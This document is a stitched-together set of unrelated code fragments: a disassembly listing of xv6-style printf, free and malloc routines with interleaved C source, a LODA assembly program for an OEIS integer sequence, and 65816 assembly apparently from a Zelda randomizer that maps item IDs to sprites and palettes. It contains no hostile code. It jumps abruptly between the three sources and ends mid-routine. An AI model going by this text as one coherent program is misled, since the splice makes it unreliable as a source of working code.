eb 01 jmp 63f <printf+0x100> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 63e: 90 nop 63f: 8b 45 f4 mov -0xc(%ebp),%eax 642: 8a 00 mov (%eax),%al 644: 84 c0 test %al,%al 646: 75 da jne 622 <printf+0xe3> 648: eb 65 jmp 6af <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 64a: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 64e: 75 1d jne 66d <printf+0x12e> putc(fd, *ap); 650: 8b 45 e8 mov -0x18(%ebp),%eax 653: 8b 00 mov (%eax),%eax 655: 0f be c0 movsbl %al,%eax 658: 83 ec 08 sub $0x8,%esp 65b: 50 push %eax 65c: ff 75 08 pushl 0x8(%ebp) 65f: e8 0c fe ff ff call 470 <putc> 664: 83 c4 10 add $0x10,%esp ap++; 667: 83 45 e8 04 addl $0x4,-0x18(%ebp) 66b: eb 42 jmp 6af <printf+0x170> } else if(c == '%'){ 66d: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 671: 75 17 jne 68a <printf+0x14b> putc(fd, c); 673: 8b 45 e4 mov -0x1c(%ebp),%eax 676: 0f be c0 movsbl %al,%eax 679: 83 ec 08 sub $0x8,%esp 67c: 50 push %eax 67d: ff 75 08 pushl 0x8(%ebp) 680: e8 eb fd ff ff call 470 <putc> 685: 83 c4 10 add $0x10,%esp 688: eb 25 jmp 6af <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 68a: 83 ec 08 sub $0x8,%esp 68d: 6a 25 push $0x25 68f: ff 75 08 pushl 0x8(%ebp) 692: e8 d9 fd ff ff call 470 <putc> 697: 83 c4 10 add $0x10,%esp putc(fd, c); 69a: 8b 45 e4 mov -0x1c(%ebp),%eax 69d: 0f be c0 movsbl %al,%eax 6a0: 83 ec 08 sub $0x8,%esp 6a3: 50 push %eax 6a4: ff 75 08 pushl 0x8(%ebp) 6a7: e8 c4 fd ff ff call 470 <putc> 6ac: 83 c4 10 add $0x10,%esp } state = 0; 6af: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6b6: ff 45 f0 incl -0x10(%ebp) 6b9: 8b 55 0c mov 0xc(%ebp),%edx 6bc: 8b 45 f0 mov -0x10(%ebp),%eax 6bf: 8d 04 02 lea (%edx,%eax,1),%eax 6c2: 8a 00 mov (%eax),%al 6c4: 84 c0 test %al,%al 6c6: 0f 85 95 fe ff ff jne 561 <printf+0x22> putc(fd, c); } state = 0; } } } 6cc: c9 leave 6cd: c3 ret 6ce: 90 nop 6cf: 90 nop 000006d0 <free>: static Header base; static Header *freep; void free(void *ap) { 6d0: 55 push %ebp 6d1: 89 e5 mov %esp,%ebp 6d3: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 6d6: 8b 45 08 mov 0x8(%ebp),%eax 6d9: 83 e8 08 sub $0x8,%eax 6dc: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6df: a1 48 09 00 00 mov 0x948,%eax 6e4: 89 45 fc mov %eax,-0x4(%ebp) 6e7: eb 24 jmp 70d <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6e9: 8b 45 fc mov -0x4(%ebp),%eax 6ec: 8b 00 mov (%eax),%eax 6ee: 3b 45 fc cmp -0x4(%ebp),%eax 6f1: 77 12 ja 705 <free+0x35> 6f3: 8b 45 f8 mov -0x8(%ebp),%eax 6f6: 3b 45 fc cmp -0x4(%ebp),%eax 6f9: 77 24 ja 71f <free+0x4f> 6fb: 8b 45 fc mov -0x4(%ebp),%eax 6fe: 8b 00 mov (%eax),%eax 700: 3b 45 f8 cmp -0x8(%ebp),%eax 703: 77 1a ja 71f <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 705: 8b 45 fc mov -0x4(%ebp),%eax 708: 8b 00 mov (%eax),%eax 70a: 89 45 fc mov %eax,-0x4(%ebp) 70d: 8b 45 f8 mov -0x8(%ebp),%eax 710: 3b 45 fc cmp -0x4(%ebp),%eax 713: 76 d4 jbe 6e9 <free+0x19> 715: 8b 45 fc mov -0x4(%ebp),%eax 718: 8b 00 mov (%eax),%eax 71a: 3b 45 f8 cmp -0x8(%ebp),%eax 71d: 76 ca jbe 6e9 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 71f: 8b 45 f8 mov -0x8(%ebp),%eax 722: 8b 40 04 mov 0x4(%eax),%eax 725: c1 e0 03 shl $0x3,%eax 728: 89 c2 mov %eax,%edx 72a: 03 55 f8 add -0x8(%ebp),%edx 72d: 8b 45 fc mov -0x4(%ebp),%eax 730: 8b 00 mov (%eax),%eax 732: 39 c2 cmp %eax,%edx 734: 75 24 jne 75a <free+0x8a> bp->s.size += p->s.ptr->s.size; 736: 8b 45 f8 mov -0x8(%ebp),%eax 739: 8b 50 04 mov 0x4(%eax),%edx 73c: 8b 45 fc mov -0x4(%ebp),%eax 73f: 8b 00 mov (%eax),%eax 741: 8b 40 04 mov 0x4(%eax),%eax 744: 01 c2 add %eax,%edx 746: 8b 45 f8 mov -0x8(%ebp),%eax 749: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 74c: 8b 45 fc mov -0x4(%ebp),%eax 74f: 8b 00 mov (%eax),%eax 751: 8b 10 mov (%eax),%edx 753: 8b 45 f8 mov -0x8(%ebp),%eax 756: 89 10 mov %edx,(%eax) 758: eb 0a jmp 764 <free+0x94> } else bp->s.ptr = p->s.ptr; 75a: 8b 45 fc mov -0x4(%ebp),%eax 75d: 8b 10 mov (%eax),%edx 75f: 8b 45 f8 mov -0x8(%ebp),%eax 762: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 764: 8b 45 fc mov -0x4(%ebp),%eax 767: 8b 40 04 mov 0x4(%eax),%eax 76a: c1 e0 03 shl $0x3,%eax 76d: 03 45 fc add -0x4(%ebp),%eax 770: 3b 45 f8 cmp -0x8(%ebp),%eax 773: 75 20 jne 795 <free+0xc5> p->s.size += bp->s.size; 775: 8b 45 fc mov -0x4(%ebp),%eax 778: 8b 50 04 mov 0x4(%eax),%edx 77b: 8b 45 f8 mov -0x8(%ebp),%eax 77e: 8b 40 04 mov 0x4(%eax),%eax 781: 01 c2 add %eax,%edx 783: 8b 45 fc mov -0x4(%ebp),%eax 786: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 789: 8b 45 f8 mov -0x8(%ebp),%eax 78c: 8b 10 mov (%eax),%edx 78e: 8b 45 fc mov -0x4(%ebp),%eax 791: 89 10 mov %edx,(%eax) 793: eb 08 jmp 79d <free+0xcd> } else p->s.ptr = bp; 795: 8b 45 fc mov -0x4(%ebp),%eax 798: 8b 55 f8 mov -0x8(%ebp),%edx 79b: 89 10 mov %edx,(%eax) freep = p; 79d: 8b 45 fc mov -0x4(%ebp),%eax 7a0: a3 48 09 00 00 mov %eax,0x948 } 7a5: c9 leave 7a6: c3 ret 000007a7 <morecore>: static Header* morecore(uint nu) { 7a7: 55 push %ebp 7a8: 89 e5 mov %esp,%ebp 7aa: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 7ad: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 7b4: 77 07 ja 7bd <morecore+0x16> nu = 4096; 7b6: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 7bd: 8b 45 08 mov 0x8(%ebp),%eax 7c0: c1 e0 03 shl $0x3,%eax 7c3: 83 ec 0c sub $0xc,%esp 7c6: 50 push %eax 7c7: e8 8c fc ff ff call 458 <sbrk> 7cc: 83 c4 10 add $0x10,%esp 7cf: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 7d2: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 7d6: 75 07 jne 7df <morecore+0x38> return 0; 7d8: b8 00 00 00 00 mov $0x0,%eax 7dd: eb 26 jmp 805 <morecore+0x5e> hp = (Header*)p; 7df: 8b 45 f4 mov -0xc(%ebp),%eax 7e2: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 7e5: 8b 45 f0 mov -0x10(%ebp),%eax 7e8: 8b 55 08 mov 0x8(%ebp),%edx 7eb: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 7ee: 8b 45 f0 mov -0x10(%ebp),%eax 7f1: 83 c0 08 add $0x8,%eax 7f4: 83 ec 0c sub $0xc,%esp 7f7: 50 push %eax 7f8: e8 d3 fe ff ff call 6d0 <free> 7fd: 83 c4 10 add $0x10,%esp return freep; 800: a1 48 09 00 00 mov 0x948,%eax } 805: c9 leave 806: c3 ret 00000807 <malloc>: void* malloc(uint nbytes) { 807: 55 push %ebp 808: 89 e5 mov %esp,%ebp 80a: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 80d: 8b 45 08 mov 0x8(%ebp),%eax 810: 83 c0 07 add $0x7,%eax 813: c1 e8 03 shr $0x3,%eax 816: 40 inc %eax 817: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 81a: a1 48 09 00 00 mov 0x948,%eax 81f: 89 45 f0 mov %eax,-0x10(%ebp) 822: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 826: 75 23 jne 84b <malloc+0x44> base.s.ptr = freep = prevp = &base; 828: c7 45 f0 40 09 00 00 movl $0x940,-0x10(%ebp) 82f: 8b 45 f0 mov -0x10(%ebp),%eax 832: a3 48 09 00 00 mov %eax,0x948 837: a1 48 09 00 00 mov 0x948,%eax 83c: a3 40 09 00 00 mov %eax,0x940 base.s.size = 0; 841: c7 05 44 09 00 00 00 movl $0x0,0x944 848: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 84b: 8b 45 f0 mov -0x10(%ebp),%eax 84e: 8b 00 mov (%eax),%eax 850: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 853: 8b 45 f4 mov -0xc(%ebp),%eax 856: 8b 40 04 mov 0x4(%eax),%eax 859: 3b 45 ec cmp -0x14(%ebp),%eax 85c: 72 4d jb 8ab <malloc+0xa4> if(p->s.size == nunits) 85e: 8b 45 f4 mov -0xc(%ebp),%eax 861: 8b 40 04 mov 0x4(%eax),%eax 864: 3b 45 ec cmp -0x14(%ebp),%eax 867: 75 0c jne 875 <malloc+0x6e> prevp->s.ptr = p->s.ptr; 869: 8b 45 f4 mov -0xc(%ebp),%eax 86c: 8b 10 mov (%eax),%edx 86e: 8b 45 f0 mov -0x10(%ebp),%eax 871: 89 10 mov %edx,(%eax) 873: eb 26 jmp 89b <malloc+0x94> else { p->s.size -= nunits; 875: 8b 45 f4 mov -0xc(%ebp),%eax 878: 8b 40 04 mov 0x4(%eax),%eax 87b: 89 c2 mov %eax,%edx 87d: 2b 55 ec sub -0x14(%ebp),%edx 880: 8b 45 f4 mov -0xc(%ebp),%eax 883: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 886: 8b 45 f4 mov -0xc(%ebp),%eax 889: 8b 40 04 mov 0x4(%eax),%eax 88c: c1 e0 03 shl $0x3,%eax 88f: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 892: 8b 45 f4 mov -0xc(%ebp),%eax 895: 8b 55 ec mov -0x14(%ebp),%edx 898: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 89b: 8b 45 f0 mov -0x10(%ebp),%eax 89e: a3 48 09 00 00 mov %eax,0x948 return (void*)(p + 1); 8a3: 8b 45 f4 mov -0xc(%ebp),%eax 8a6: 83 c0 08 add $0x8,%eax 8a9: eb 3b jmp 8e6 <malloc+0xdf> } if(p == freep) 8ab: a1 48 09 00 00 mov 0x948,%eax 8b0: 39 45 f4 cmp %eax,-0xc(%ebp) 8b3: 75 1e jne 8d3 <malloc+0xcc> if((p = morecore(nunits)) == 0) 8b5: 83 ec 0c sub $0xc,%esp 8b8: ff 75 ec pushl -0x14(%ebp) 8bb: e8 e7 fe ff ff call 7a7 <morecore> 8c0: 83 c4 10 add $0x10,%esp 8c3: 89 45 f4 mov %eax,-0xc(%ebp) 8c6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8ca: 75 07 jne 8d3 <malloc+0xcc> return 0; 8cc: b8 00 00 00 00 mov $0x0,%eax 8d1: eb 13 jmp 8e6 <malloc+0xdf> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8d3: 8b 45 f4 mov -0xc(%ebp),%eax 8d6: 89 45 f0 mov %eax,-0x10(%ebp) 8d9: 8b 45 f4 mov -0xc(%ebp),%eax 8dc: 8b 00 mov (%eax),%eax 8de: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 8e1: e9 6d ff ff ff jmp 853 <malloc+0x4c> } 8e6: c9 leave 8e7: c3 ret
; A077467: Sum of binary digits of A077465(n). ; 1,2,2,3,3,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,15,15,16,16,17,18,18,19,19,20,20,21,22,22,23,23,24,25,25,26,26,27,27,28,29,29,30,30,31,32,32,33,33,34,34,35,36,36,37,37,38,39,39,40,40,41,41,42,43,43,44 add $0,1 mov $3,$0 lpb $0 div $0,2 add $4,$3 add $5,6 lpe sub $0,1 div $4,$0 sub $5,1 div $4,$5 mov $2,$4 sub $2,$3 mov $6,$2 div $6,2 add $6,$0 sub $0,$6 mov $1,4 add $7,1 add $7,$0 mul $1,$7 add $1,$7 mul $1,5 add $1,1 mul $1,4 sub $1,104 div $1,100 add $1,1
;================================================================================ ; Utility Functions ;================================================================================ !PROGRESSIVE_SHIELD = "$7EF416" ; ss-- ---- ;-------------------------------------------------------------------------------- ; GetSpriteTile ; in: A - Loot ID ; out: A - Sprite GFX ID ;-------------------------------------------------------------------------------- GetSpriteID: JSR AttemptItemSubstitution CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle BRA .notBottle .bottle PHA : JSR.w CountBottles : CMP.l BottleLimit : !BLT + PLA : LDA.l BottleLimitReplacement JSL.l GetSpriteID RTL + PLA : .notBottle PHX PHB : PHK : PLB ;-------- TAX : LDA .gfxSlots, X ; look up item gfx PLB : PLX CMP.b #$F8 : !BGE .specialHandling RTL .specialHandling CMP.b #$F9 : BNE ++ ; Progressive Magic LDA.l $7EF37B : BNE +++ LDA.b #$3B : RTL ; Half Magic +++ LDA.b #$3C : RTL ; Quarter Magic ++ CMP.b #$FA : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : JMP GetSpriteID ++ CMP.b #$FB : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti : JMP GetSpriteID ++ CMP.b #$FD : BNE ++ ; Progressive Armor LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l GetSpriteID RTL + LDA.b #$04 : RTL ++ CMP.b #$FE : BNE ++ ; Progressive Sword LDA $7EF359 CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l GetSpriteID RTL + : CMP.b #$00 : BNE + ; No Sword LDA.b #$43 : RTL + : CMP.b #$01 : BNE + ; Fighter Sword LDA.b #$44 : RTL + : CMP.b #$02 : BNE + ; Master Sword LDA.b #$45 : RTL + ; CMP.b #$03 : BNE + ; Tempered Sword LDA.b #$46 : RTL + ++ : CMP.b #$FF : BNE ++ ; Progressive Shield LDA !PROGRESSIVE_SHIELD : AND #$C0 : LSR #6 CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l GetSpriteID RTL + : CMP.b #$00 : BNE + ; No Shield LDA.b #$2D : RTL + : CMP.b #$01 : BNE + ; Fighter Shield LDA.b #$20 : RTL + ; Everything Else LDA.b #$2E : RTL ++ : CMP.b #$F8 : BNE ++ ; Progressive Bow LDA $7EF340 CMP.b #$00 : BNE + ; No Bow LDA.b #$29 : RTL + ; Any Bow LDA.b #$2A : RTL ++ RTL ;DATA - Loot Identifier to Sprite ID { .gfxSlots db $06, $44, $45, $46, $2D, $20, $2E, $09 db $09, $0A, $08, $05, $10, $0B, $2C, $1B db $1A, $1C, $14, $19, $0C, $07, $1D, $2F db $07, $15, $12, $0D, $0D, $0E, $11, $17 db $28, $27, $04, $04, $0F, $16, $03, $13 db $01, $1E, $10, $00, $00, $00, $00, $00 db $00, $30, $22, $21, $24, $24, $24, $23 db $23, $23, $29, $2A, $2C, $2B, $03, $03 db $34, $35, $31, $33, $02, $32, $36, $37 db $2C, $43, $0C, $38, $39, $3A, $F9, $3C ; db $2C, $06, $0C, $38, $FF, $FF, $FF, $FF ;5x db $44 ; Safe Master Sword db $3D, $3E, $3F, $40 ; Bomb & Arrow +5/+10 db $2C, $00, $00 ; 3x Programmable Item db $41 ; Upgrade-Only Silver Arrows db $24 ; 1 Rupoor db $47 ; Null Item db $48, $48, $48 ; Red, Blue & Green Clocks db $FE, $FF ; Progressive Sword & Shield ;6x db $FD, $0D ; Progressive Armor & Gloves db $FA, $FB ; RNG Single & Multi db $F8, $F8 ; Progressive Bow x2 db $FF, $FF, $FF, $FF ; Unused db $49, $4A, $49 ; Goal Item Single, Multi & Alt Multi db $FF, $FF, $FF ; Unused ;7x db $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21 ; Free Map ;8x db $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16 ; Free Compass ;9x db $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22 ; Free Big Key ;Ax db $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F ; Free Small Key db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused } ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; GetSpritePalette ; in: A - Loot ID ; out: A - Palette ;-------------------------------------------------------------------------------- GetSpritePalette: JSR AttemptItemSubstitution CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle BRA .notBottle .bottle PHA : JSR.w CountBottles : CMP.l BottleLimit : !BLT + PLA : LDA.l BottleLimitReplacement JSL.l GetSpritePalette RTL + PLA : .notBottle PHX PHB : PHK : PLB ;-------- TAX : LDA .gfxPalettes, X ; look up item gfx PLB : PLX CMP.b #$F8 : !BGE .specialHandling RTL .specialHandling CMP.b #$FD : BNE ++ ; Progressive Sword LDA $7EF359 CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; No Sword LDA.b #$04 : RTL + : CMP.b #$01 : BNE + ; Fighter Sword LDA.b #$04 : RTL + : CMP.b #$02 : BNE + ; Master Sword LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$FE : BNE ++ ; Progressive Shield LDA !PROGRESSIVE_SHIELD : AND #$C0 : LSR #6 CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; No Shield LDA.b #$04 : RTL + : CMP.b #$01 : BNE + ; Fighter Shield LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$FF : BNE ++ ; Progressive Armor LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; Green Tunic LDA.b #$04 : RTL + ; Everything Else LDA.b #$02 : RTL ++ : CMP.b #$FC : BNE ++ ; Progressive Gloves LDA $7EF354 : BNE + ; No Gloves LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$F8 : BNE ++ ; Progressive Bow LDA $7EF354 : BNE + ; No Bow LDA.b #$08 : RTL + ; Any Bow LDA.b #$02 : RTL ++ : CMP.b #$FA : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : JMP GetSpritePalette ++ : CMP.b #$FB : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti : JMP GetSpritePalette ++ RTL ;DATA - Loot Identifier to Sprite Palette { .gfxPalettes db $00, $04, $02, $08, $04, $02, $08, $02 db $04, $02, $02, $02, $04, $04, $04, $08 db $08, $08, $02, $02, $04, $02, $02, $02 db $04, $02, $04, $02, $08, $08, $04, $02 db $0A, $02, $04, $02, $04, $04, $00, $04 db $04, $08, $02, $02, $08, $04, $02, $08 db $04, $04, $08, $08, $08, $04, $02, $08 db $02, $04, $08, $02, $04, $04, $02, $02 db $08, $08, $02, $04, $04, $08, $08, $08 db $04, $04, $04, $02, $08, $08, $08, $08 ; db $04, $0A, $04, $02, $FF, $FF, $FF, $FF db $04 ; Safe Master Sword db $08, $08, $08, $08 ; Bomb & Arrow +5/+10 db $04, $00, $00 ; Programmable Items 1-3 db $02 ; Upgrade-Only Silver Arrows db $06 ; 1 Rupoor db $02 ; Null Item db $02, $04, $08 ; Red, Blue & Green Clocks db $FD, $FE, $FF, $FC ; Progressive Sword, Shield, Armor & Gloves db $FA, $FB ; RNG Single & Multi db $F8, $F8 ; Progressive Bow db $00, $00, $00, $00 ; Unused db $08, $08, $08 ; Goal Item Single, Multi & Alt Multi db $00, $00, $00 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Map db $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04 ; Free Compass ;db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; *EVENT* db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Big Key db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Small Key db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused } ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; IsNarrowSprite ; in: A - Loot ID ; out: Carry - 0 = Full, 1 = Narrow ;-------------------------------------------------------------------------------- IsNarrowSprite: PHA : PHX PHB : PHK : PLB JSR AttemptItemSubstitution ;-------- CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle BRA .notBottle .bottle JSR.w CountBottles : CMP.l BottleLimit : !BLT + LDA.l BottleLimitReplacement JSL.l IsNarrowSprite BRL .done + : BRA .continue .notBottle CMP.b #$5E : BNE ++ ; Progressive Sword LDA $7EF359 : CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l IsNarrowSprite BRA .done + : BRA .continue ++ : CMP.b #$5F : BNE ++ ; Progressive Shield LDA !PROGRESSIVE_SHIELD : AND #$C0 : BNE + : SEC : BRA .done ; No Shield LSR #6 : CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l IsNarrowSprite BRA .done + ;LDA $7EF35A : BNE + : SEC : BRA .done : +; No Shield BRA .false ; Everything Else ++ CMP.b #$60 : BNE ++ ; Progressive Armor LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l IsNarrowSprite BRA .done + ++ CMP.b #$62 : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : BRA .continue ++ CMP.b #$63 : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti ++ .continue ;-------- LDX.b #$00 ; set index counter to 0 ;---- - CPX.b #$24 : !BGE .false ; finish if we've done the whole list CMP .smallSprites, X : BNE + ; skip to next if we don't match ;-- SEC ; set true state BRA .done ; we're done ;-- + INX ; increment index BRA - ; go back to beginning of loop ;---- .false CLC .done PLB : PLX : PLA RTL ;DATA - Half-Size Sprite Markers { .smallSprites db $04, $07, $08, $09, $0A, $0B, $0C, $13 db $15, $18, $24, $2A, $34, $35, $36, $42 db $43, $45, $59, $A0, $A1, $A2, $A3, $A4 db $A5, $A6, $A7, $A8, $A9, $AA, $AB, $AC db $AD, $AE, $AF, $FF, $FF, $FF, $FF, $FF } ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; PrepDynamicTile ; in: A - Loot ID ;-------------------------------------------------------------------------------- 20/8477 PrepDynamicTile: PHA : PHX : PHY JSR.w LoadDynamicTileOAMTable JSL.l GetSpriteID ; convert loot id to sprite id JSL.l GetAnimatedSpriteTile_variable PLY : PLX : PLA RTL ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; LoadDynamicTileOAMTable ; in: A - Loot ID ;-------------------------------------------------------------------------------- 20/847B !SPRITE_OAM = "$7EC025" ;-------------------------------------------------------------------------------- LoadDynamicTileOAMTable: PHA : PHP PHA REP #$20 ; set 16-bit accumulator LDA.w #$0000 : STA.l !SPRITE_OAM STA.l !SPRITE_OAM+2 LDA.w #$0200 : STA.l !SPRITE_OAM+6 SEP #$20 ; set 8-bit accumulator LDA.b #$24 : STA.l !SPRITE_OAM+4 LDA $01,s JSL.l GetSpritePalette STA !SPRITE_OAM+5 : STA !SPRITE_OAM+13 PLA JSL.l IsNarrowSprite : BCS .narrow BRA .done .narrow REP #$20 ; set 16-bit accumulator LDA.w #$0000 : STA.l !SPRITE_OAM+7 STA.l !SPRITE_OAM+14 LDA.w #$0800 : STA.l !SPRITE_OAM+9 LDA.w #$3400 : STA.l !SPRITE_OAM+11 .done PLP : PLA RTS ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; DrawDynamicTile ; in: A - Loot ID ; out: A - OAM Slots Taken ;-------------------------------------------------------------------------------- ; This wastes two OAM slots if you don't want a shadow - fix later - I wrote "fix later" over a year ago and it's still not fixed (Aug 6, 2017) - lol (May 25th, 2019) ;-------------------------------------------------------------------------------- 2084B8 !SPRITE_OAM = "$7EC025" !SKIP_EOR = "$7F5008" ;-------------------------------------------------------------------------------- DrawDynamicTile: JSL.l IsNarrowSprite : BCS .narrow .full LDA.b #$01 : STA $06 LDA #$0C : JSL.l OAM_AllocateFromRegionC LDA #$02 : PHA BRA .draw .narrow LDA.b #$02 : STA $06 LDA #$10 : JSL.l OAM_AllocateFromRegionC LDA #$03 : PHA .draw LDA.b #!SPRITE_OAM>>0 : STA $08 LDA.b #!SPRITE_OAM>>8 : STA $09 STZ $07 LDA #$7E : PHB : PHA : PLB LDA.b #$01 : STA.l !SKIP_EOR JSL Sprite_DrawMultiple_quantity_preset LDA.b #$00 : STA.l !SKIP_EOR PLB LDA $90 : !ADD.b #$08 : STA $90 ; leave the pointer in the right spot to draw the shadow, if desired LDA $92 : INC #2 : STA $92 PLA RTL ;-------------------------------------------------------------------------------- DrawDynamicTileNoShadow: JSL.l IsNarrowSprite : BCS .narrow .full LDA.b #$01 : STA $06 LDA #$04 : JSL.l OAM_AllocateFromRegionC BRA .draw .narrow LDA.b #$02 : STA $06 LDA #$08 : JSL.l OAM_AllocateFromRegionC .draw 